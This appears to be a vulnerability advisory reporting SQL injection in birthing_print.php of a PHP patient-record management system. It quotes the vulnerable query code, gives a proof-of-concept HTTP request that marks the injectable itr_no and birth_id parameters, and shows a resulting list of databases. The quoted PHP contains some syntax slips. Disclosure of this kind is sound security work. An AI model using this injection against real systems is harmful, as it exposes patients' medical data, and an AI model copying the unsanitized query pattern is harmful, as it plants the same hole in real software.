

patient-record-management-system-in-php has sql injection in birthing_print.php

supplier

https://code-projects.org/patient-record-management-system-in-php-with-source-code/#google_vignette

Vulnerability parameter

birthing_print.php

describe

An unrestricted SQL injection attack exists in patient-record-management-system-in-php in birthing_print.php. The parameters that can be controlled are as follows: `$itr_no`, `$birth_id`. This function executes the `$itr_no` and `$birth_id` parameter into the SQL statement without any restrictions. A malicious attacker could exploit this vulnerability to obtain sensitive information in the server database.

Code analysis

When the value of `$itr_no` and `$birth_id` parameter is obtained in birthing_print.php, it will be concatenated into SQL statements and executed, which has a SQL injection vulnerability.



```
9      }
10    }
11    #print{
12      width:850px;
13      height:1100px;
14      overflow:hidden;
15      margin:auto;
16      border:2px solid #000;
17    }
18  </style>
19 </head>
20 <body>
21 <?php
22   $conn = new mysqli("localhost", "root", "", "hcms") or die(mysqli_error());
23   $q2 = $conn->query("SELECT * FROM `itr` WHERE `itr_no` = '$_GET[itr_no]' or die(mysqli_error());
24   $f2 = $q2->fetch_array();
25   $q = $conn->query("SELECT * FROM `birthing` WHERE `itr_no` = '$f2[itr_no]' && `birth_id` = '$_GET[birth_id]' or die(mysqli_error());
26   $c = $q->num_rows;
27   $f = $q->fetch_array();
28 >?
29 <button onclick="printContent('print')">Print Content</button>
30 <button><a style = "text-decoration:none; color:#000;" href = "birthing_form.php?itr_no=<?php echo $f['itr_no'];>&birth_id=<?php echo $_GET['birth_id'];>" class = "btn btn-info"
31 <br />
32 <br />
33 </div id="print" style = "max-width:850px;"
```

POC

```
GET /birthing_print.php?itr_no=3*&birth_id=1* HTTP/1.1
Host: healthcarepatientrecordmanagementsystem
User-Agent: Mozilla/5.0 (windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101
Firefox/136.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-us;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: PHPSESSID=apub8ggoc8757fma1n9sbu6ca1
Upgrade-Insecure-Requests: 1
Priority:u=0, i
```

Result

```
available databases [41]:
[*] `security`
[*] bloodbank
[*] challenges
[*] cltphp_show
[*] crud
[*] dedecmsv57utf8_115
[*] dedecmsv57utf8sp2
[*] dvwa
[*] easyweb
[*] ecms
[*] ecms4
[*] empirecms
[*] farmacia
[*] fastadmin
[*] forcms
[*] healthcare
[*] hostel
[*] imperial_college
[*] information_schema
[*] mysql
[*] ofcms
[*] online_health_care
[*] owlphin
[*] performance_schema
[*] project
[*] rockxinhu
[*] ry
[*] seacms
[*] sec_sql
```